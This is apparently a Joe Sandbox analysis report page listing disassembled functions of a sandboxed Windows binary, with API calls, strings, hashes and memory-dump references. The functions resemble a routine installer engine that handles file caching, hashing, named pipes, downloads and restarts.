Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset$HeapInformationUninitialize
String ID:
API String ID: 1504587645-0
Opcode ID: e331523007b3e1ca05475cc97b19a2c865bb8aba4a1c94d7bb12b3b815561432
Instruction ID: 60e30953a715303314de0c7c9da071185b7eca294d083b5bfe3f8e66a8e4aa58
Opcode Fuzzy Hash: e331523007b3e1ca05475cc97b19a2c865bb8aba4a1c94d7bb12b3b815561432
Instruction Fuzzy Hash: C1E0EC3125030DBBEB01DF95EE46F9E7A7AAB10749F104014BA00A90D1D7B1EA60EB65

Function 00A5178B Relevance: 1.3, APIs: 1, Instructions: 52stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,00000000,00000000,?,00A52D60,?,00A5B5F8,00000000,?,00000000,00000004,00000000,00000004,?,00000000), ref: 00A517BC

Part of subcall function 00A5299C: GetProcessHeap.KERNEL32(00000000,?,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A529A4
Part of subcall function 00A5299C: HeapSize.KERNEL32(00000000,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000,80070000), ref: 00A529AB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$ProcessSizelstrlen
String ID:
API String ID: 3492610842-0
Opcode ID: 489c33615d922f3eba83e812423c3d8fd04abf2b6eb72419b2380f4be91d6df8
Instruction ID: a769fb6cc6efe5707d8881566f1c3f5980fee2afbde58dc05fcde06c70a5be41
Opcode Fuzzy Hash: 489c33615d922f3eba83e812423c3d8fd04abf2b6eb72419b2380f4be91d6df8
Instruction Fuzzy Hash: D301A236200204BBEB106F69DC80FAF379DBB88766F204625FE149B181D671E9088EA0

Non-executed Functions

Function 00A56D15 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 325fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A56D8A
_memset.LIBCMT ref: 00A56D98
GetFileAttributesW.KERNEL32(?,?,?,?,00000000,?,00000000), ref: 00A56DA1
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A56DBC
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000000,?,00000000), ref: 00A56E0E
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A56E18
GetTempPathW.KERNEL32(00000104,?,?,?,?,00000000,?,00000000), ref: 00A56E63
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A56E6D
FindFirstFileW.KERNEL32(?,?,?,*.*,?,?,?,?,00000000,?,00000000), ref: 00A56EBF
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A56ED0
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,00000000,?,00000000), ref: 00A56FB2
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00000000,?,00000000), ref: 00A56FC6
GetTempFileNameW.KERNEL32(?,DEL,00000000,?,?,?,?,00000000,?,00000000), ref: 00A56FF0
MoveFileExW.KERNEL32(?,?,00000001,?,?,?,00000000,?,00000000), ref: 00A57013
MoveFileExW.KERNEL32(?,00000000,00000004,?,?,?,00000000,?,00000000), ref: 00A5702C
FindNextFileW.KERNEL32(000000FF,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00A5703B
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A5704F
RemoveDirectoryW.KERNEL32(?,?,?,?,00000000,?,00000000), ref: 00A57062
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A57070
MoveFileExW.KERNEL32(?,00000000,00000004,?,?,?,00000000,?,00000000), ref: 00A5709B
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A570C4
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A570E5
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A57106
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A57127
FindClose.KERNEL32(000000FF,?,?,?,00000000,?,00000000), ref: 00A5715B

Strings

dirutil.cpp, xrefs: 00A56DDE, 00A570B5
DEL, xrefs: 00A56FE4
*.*, xrefs: 00A56E98

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLast$AttributesFindMove$Temp_memset$CloseDeleteDirectoryFirstNameNextPathRemove
String ID: *.*$DEL$dirutil.cpp
API String ID: 4152325254-1252831301
Opcode ID: 09c5621d6fa5f8741ddb7b55d606efaadccb980d8a1bfbaa5497e5e0dc3dc6b1
Instruction ID: 3a23da171e6f75078b64edeb79b73d37194a3f583cad141dfb9766e8f3772cb2
Opcode Fuzzy Hash: 09c5621d6fa5f8741ddb7b55d606efaadccb980d8a1bfbaa5497e5e0dc3dc6b1
Instruction Fuzzy Hash: F6B1E8726146159ADB319B35DC09BAE76B6BFC0713F1402A9ED18E3190EB32CD99CF20

Function 00A38281 Relevance: 31.7, APIs: 8, Strings: 10, Instructions: 239COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A382AB

Strings

cache.cpp, xrefs: 00A38397, 00A384B7, 00A38507
Failed to get file hash., xrefs: 00A383A1
Failed to allocate memory, xrefs: 00A38301
Could not verify file %ls., xrefs: 00A384C4
Failed to move file pointer to beginning of file., xrefs: 00A38332
Failed to encode file hash., xrefs: 00A38409
$, xrefs: 00A3845B
Failed to allocate string., xrefs: 00A383E8
0, xrefs: 00A38440
Could not close verify handle., xrefs: 00A38511

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: $$0$Could not close verify handle.$Could not verify file %ls.$Failed to allocate memory$Failed to allocate string.$Failed to encode file hash.$Failed to get file hash.$Failed to move file pointer to beginning of file.$cache.cpp
API String ID: 2102423945-1888235766
Opcode ID: 77363f60497e0f428d801e85f63bf00a5bb43a24b4806e77c3e3859a178165bb
Instruction ID: b58f87b3363f8273f9ee30d9e56d67f1178d702f068d568dbe8ec4cce3bad4c1
Opcode Fuzzy Hash: 77363f60497e0f428d801e85f63bf00a5bb43a24b4806e77c3e3859a178165bb
Instruction Fuzzy Hash: 2A815F72D00219AFCF20EFA4CD85AEEBBF8BB08310F14052AF905FB251DA795D458B91

Function 00A213BA Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 142sleepshutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,00A21F73,00000000,?,00000000,?,00A21F73,?,?,?,?,?), ref: 00A213E4
OpenProcessToken.ADVAPI32(00000000,?,00A21F73,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00A213EB
GetLastError.KERNEL32(?,00A21F73,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A213F5
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00A21445
GetLastError.KERNEL32(?,00A21F73,?,?,?), ref: 00A2144F
AdjustTokenPrivileges.ADVAPI32(00A21F73,00000000,?,00000010,00000000,00000000,?,00A21F73,?,?,?), ref: 00A21494
GetLastError.KERNEL32(?,00A21F73,?,?,?), ref: 00A2149E
Sleep.KERNEL32(000003E8,?,00A21F73,?,?,?), ref: 00A214DB
InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000001,80040002), ref: 00A214EB
GetLastError.KERNEL32(?,00A21F73,?,?,?), ref: 00A214F5
CloseHandle.KERNEL32(00A21F73), ref: 00A2154F

Strings

Failed to get process token., xrefs: 00A21424
Failed to schedule restart., xrefs: 00A2153A
Failed to get shutdown privilege LUID., xrefs: 00A2147E
engine.cpp, xrefs: 00A2141A, 00A21474, 00A214C3, 00A21530
Failed to adjust token to add shutdown privileges., xrefs: 00A214CD
SeShutdownPrivilege, xrefs: 00A21434

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$ProcessToken$AdjustCloseCurrentHandleInitiateLookupOpenPrivilegePrivilegesShutdownSleepSystemValue
String ID: Failed to adjust token to add shutdown privileges.$Failed to get process token.$Failed to get shutdown privilege LUID.$Failed to schedule restart.$SeShutdownPrivilege$engine.cpp
API String ID: 2241679041-1583736410
Opcode ID: 349da650206ed79ce514a7827b3550b54df98457c7ce5ba282a137e80898f447
Instruction ID: 4275458066b02edc463fb8f25251640652e3e94da4e82c6e073f53fad338c51a
Opcode Fuzzy Hash: 349da650206ed79ce514a7827b3550b54df98457c7ce5ba282a137e80898f447
Instruction Fuzzy Hash: C2410C71A50226BEDB20ABE9AC89ABF7A68FB10303F110439F915F60D1D7784D4987B1

Function 00A57C27 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 184encryptionfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A57C7E
CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000000,F0000040,00000000,?,00000000,00000000,?,00A39C6F,00000000,00000001,?,?,00000000), ref: 00A57CA3
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57CAD
CryptCreateHash.ADVAPI32(?,?,00000000,00000000,?,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000), ref: 00A57CE9
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57CF3
CryptHashData.ADVAPI32(?,?,?,00000000,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?), ref: 00A57D44
ReadFile.KERNEL32(?,?,00001000,?,00000000,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000), ref: 00A57D69
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57D6F
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000), ref: 00A57DAB
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57DB5
SetFilePointerEx.KERNEL32(?,?,?,?,00000001,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000), ref: 00A57DFE
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57E08
GetLastError.KERNEL32(?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57E2F
CryptDestroyHash.ADVAPI32(?,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 00A57E6E
CryptReleaseContext.ADVAPI32(?,00000000,?,00A39C6F,00000000,00000001,?,?,00000000,?,?,00000000,00000000,?,?,00000000), ref: 00A57E83

Strings

cryputil.cpp, xrefs: 00A57E54

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CryptErrorLast$Hash$ContextFile$AcquireCreateDataDestroyParamPointerReadRelease_memset
String ID: cryputil.cpp
API String ID: 961722652-2185294990
Opcode ID: b48b5df17bbcd9ad0a5ff2e4c7b46aeb5090e79ca9fbff6cd123e5c864fcb608
Instruction ID: 96cac8a38009c467d41a1989a1638706fa65776386ea2daee677e8bcceac9d43
Opcode Fuzzy Hash: b48b5df17bbcd9ad0a5ff2e4c7b46aeb5090e79ca9fbff6cd123e5c864fcb608
Instruction Fuzzy Hash: A051A371A1435AABEB318F55DC85BEE76B9BF08703F1040B5BA48E5150D7B88EC89F60

Function 00A235AD Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 174pipeCOMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD),00000001,?,00000000), ref: 00A235DA
GetLastError.KERNEL32(00000000,00A217A9,00A2BDAF,00A2130D,?), ref: 00A235E3
CreateNamedPipeW.KERNEL32(00A2130D,00080003,00000000,00000001,00010000,00010000,00000001,?,00A2130D,00000000,00A217A9,00A2BDAF,00A2130D,?), ref: 00A23696
GetLastError.KERNEL32 ref: 00A236A0
CloseHandle.KERNEL32(?,pipe.cpp,0000014E,000000FF), ref: 00A23726
LocalFree.KERNEL32(?,00A2130D), ref: 00A23746
CreateNamedPipeW.KERNEL32(00A2130D,00080003,00000000,00000001,00010000,00010000,00000001,00000000), ref: 00A23761
GetLastError.KERNEL32 ref: 00A23768

Strings

\\.\pipe\%ls.Cache, xrefs: 00A236FB
Failed to create the security descriptor for the connection event and pipe., xrefs: 00A23617
Failed to create pipe: %ls, xrefs: 00A236D7, 00A2379F
\\.\pipe\%ls, xrefs: 00A23644
Failed to allocate full name of cache pipe: %ls, xrefs: 00A23715
pipe.cpp, xrefs: 00A2360D, 00A236CA, 00A23792
Failed to allocate full name of pipe: %ls, xrefs: 00A2365B
D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD), xrefs: 00A235D5

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CreateDescriptorNamedPipeSecurity$CloseConvertFreeHandleLocalString
String ID: D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD)$Failed to allocate full name of cache pipe: %ls$Failed to allocate full name of pipe: %ls$Failed to create pipe: %ls$Failed to create the security descriptor for the connection event and pipe.$\\.\pipe\%ls$\\.\pipe\%ls.Cache$pipe.cpp
API String ID: 1214480349-3253666091
Opcode ID: 97059a92d39ea8f71a75ea06f3fcb746bd1229ebbddb26c559dd3fd50b8677bf
Instruction ID: e0b0a60cab2626f3304e0a86bdfd2973e6f02334ddb0150646777373e9a0018b
Opcode Fuzzy Hash: 97059a92d39ea8f71a75ea06f3fcb746bd1229ebbddb26c559dd3fd50b8677bf
Instruction Fuzzy Hash: 9E518CB2A4031AFEDF10DFA8DD46AAEBB74FF05311F204579F910A6191E3798B489B50

Function 00A46FC7 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 148filenetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A55CB1: SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,00A3819B,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00A55CC7
Part of subcall function 00A55CB1: GetLastError.KERNEL32(?,00A3819B,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00A39C6F,00000000,00000001,?), ref: 00A55CD1

InternetReadFile.WININET(?,00000000,?,?), ref: 00A47009
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00A47038

Strings

Failed while reading from internet., xrefs: 00A47115
UX aborted on cache progress., xrefs: 00A4715A
Failed to write data from internet., xrefs: 00A47153
downloadengine.cpp, xrefs: 00A4710B, 00A47149
Failed to seek to start point in file., xrefs: 00A46FE9, 00A47075

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: File$ErrorInternetLastPointerReadWrite
String ID: Failed to seek to start point in file.$Failed to write data from internet.$Failed while reading from internet.$UX aborted on cache progress.$downloadengine.cpp
API String ID: 1734627056-3175886020
Opcode ID: 331795ed0c295cc7495b70b3ac36c64341b68667917c173c126cd14f91f45aa7
Instruction ID: 9f1cad7de667dc72d3c95e05f4ad11c09e4844d4511bdc5ce7c5640fb3f00c3b
Opcode Fuzzy Hash: 331795ed0c295cc7495b70b3ac36c64341b68667917c173c126cd14f91f45aa7
Instruction Fuzzy Hash: 8A419F7690424AFFDF109FA4DD85DAE7BB9FF84301B20492AF511E20A0D7719E549B10

Function 00A298DB Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 107timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00A29906
GetDateFormatW.KERNEL32(00000400,00000001,?,00000000,00000000,00000000), ref: 00A29921
GetLastError.KERNEL32 ref: 00A2992A
GetDateFormatW.KERNEL32(00000400,00000001,?,00000000,?,?,?,?), ref: 00A29983
GetLastError.KERNEL32 ref: 00A29989

Strings

Failed to set variant value., xrefs: 00A299CE
variable.cpp, xrefs: 00A2994A, 00A299A9
Failed to get the Date., xrefs: 00A299B3
Failed to allocate the buffer for the Date., xrefs: 00A2996D
Failed to get the required buffer length for the Date., xrefs: 00A29954

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: DateErrorFormatLast$SystemTime
String ID: Failed to allocate the buffer for the Date.$Failed to get the Date.$Failed to get the required buffer length for the Date.$Failed to set variant value.$variable.cpp
API String ID: 2700948981-3682088697
Opcode ID: c6a089244cc6ed92c51c8338ab1fa6ba8816326e634197367100800028ecc4bf
Instruction ID: 8d9890f5b41e2ece6654cddbbc75ab6747ebd9dfa40403c5a74005869ab66a88
Opcode Fuzzy Hash: c6a089244cc6ed92c51c8338ab1fa6ba8816326e634197367100800028ecc4bf
Instruction Fuzzy Hash: 7E31A771B0031ABAEB01ABE8DDC2EBF7AB9BB04715F100439F605F21A1D66499859B61

Function 00A5019C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

LookupAccountNameW.ADVAPI32(00000000,000000FF,?,?,00000000,000000FF,?), ref: 00A50213
GetLastError.KERNEL32 ref: 00A50223
GetLastError.KERNEL32(?,00000044,00000001), ref: 00A50245

Strings

aclutil.cpp, xrefs: 00A501CE, 00A502EB
D, xrefs: 00A5022E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHeapLast$AccountAllocateLookupNameProcess
String ID: D$aclutil.cpp
API String ID: 1410359055-2185417647
Opcode ID: d39976222743cc5dc803d4c83dc8ecd354e6f933f2c89eab35b34988a5cf7a4e
Instruction ID: 94e69ccdbd8b921f98516b070252cc325fe92b87ee5894efeeb8f29851b4bee5
Opcode Fuzzy Hash: d39976222743cc5dc803d4c83dc8ecd354e6f933f2c89eab35b34988a5cf7a4e
Instruction Fuzzy Hash: 90418B72D4022BFBDF219BA4CD55FEE7AB8BF04366F114165EE00FA150D6348E489B90

Function 00A38E6E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 112filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A38EA7
FindFirstFileW.KERNEL32(?,?,?,*.*,?,?,.unverified,?,?,?), ref: 00A38F20
lstrlenW.KERNEL32(?,?,?), ref: 00A38F47
FindNextFileW.KERNEL32(00000000,00000010,?,?), ref: 00A38FA9
FindClose.KERNEL32(00000000,?,?), ref: 00A38FB8

Part of subcall function 00A56D15: _memset.LIBCMT ref: 00A56D8A
Part of subcall function 00A56D15: _memset.LIBCMT ref: 00A56D98
Part of subcall function 00A56D15: GetFileAttributesW.KERNEL32(?,?,?,?,00000000,?,00000000), ref: 00A56DA1
Part of subcall function 00A56D15: GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A56DBC

Strings

*.*, xrefs: 00A38EFB
.unverified, xrefs: 00A38EB6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FileFind_memset$AttributesCloseErrorFirstLastNextlstrlen
String ID: *.*$.unverified
API String ID: 2873512992-2528915496
Opcode ID: 35cf7384a346301ce3707b2f9b50d2a14e0d11610751356a025d891ac9f22844
Instruction ID: bcff97f8c4a2f8ce4dd15b08554d94d24c52f43be758fb1daf60d21e483ea670
Opcode Fuzzy Hash: 35cf7384a346301ce3707b2f9b50d2a14e0d11610751356a025d891ac9f22844
Instruction Fuzzy Hash: FD41827190066CAFDF20AFA4DC89AAEB779BF44316F5001A5F909A2050DB789EC48F14

Function 00A38558 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 137encryptionCOMMON

Download Yara Rule

APIs

CryptHashPublicKeyInfo.CRYPT32(00000000,00008004,00000000,00000001,?,?,00000014), ref: 00A385C7
GetLastError.KERNEL32 ref: 00A38663

Strings

Failed to find expected public key in certificate chain., xrefs: 00A386AB
cache.cpp, xrefs: 00A38688
Failed to read certificate thumbprint., xrefs: 00A38699
Failed to get certificate public key identifier., xrefs: 00A38692

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CryptErrorHashInfoLastPublic
String ID: Failed to find expected public key in certificate chain.$Failed to get certificate public key identifier.$Failed to read certificate thumbprint.$cache.cpp
API String ID: 823482589-3408201827
Opcode ID: a35dd5255cd50c0d34df3bbd5a695aa4f81525445e6171157ccac00c411ee32b
Instruction ID: 2d7a39d0d968570a634677281c43475d1d8e10a2425f14544f5743c04dedbed8
Opcode Fuzzy Hash: a35dd5255cd50c0d34df3bbd5a695aa4f81525445e6171157ccac00c411ee32b
Instruction Fuzzy Hash: 01418C71A00309EFCB11CF65CC46AAEB7B8BF48311F114519F815BB291DB38A945CBA4

Function 00A4F805 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136threadtimeCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00A77E3C,00000000,00000000,0000FFFF,?,?,00A50109,?,00A46A7B,?,?,00A46A7B,?,Failed to extract all files from container.), ref: 00A4F83B
GetCurrentProcessId.KERNEL32(?,?,00A50109,?,00A46A7B,?,?,00A46A7B,?,Failed to extract all files from container.), ref: 00A4F84A
GetCurrentThreadId.KERNEL32 ref: 00A4F853
GetLocalTime.KERNEL32(?,?,?,00A50109,?,00A46A7B,?,?,00A46A7B,?,Failed to extract all files from container.), ref: 00A4F869
LeaveCriticalSection.KERNEL32(00A77E3C,00A46A7B,?,00000000,0000FDE9,?,?,00A50109,?,00A46A7B,?,?,00A46A7B,?,Failed to extract all files from container.), ref: 00A4F963

Strings

%ls[%04X:%04X][%04hu-%02hu-%02huT%02hu:%02hu:%02hu]%hs%03d:%ls %ls%ls, xrefs: 00A4F908

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

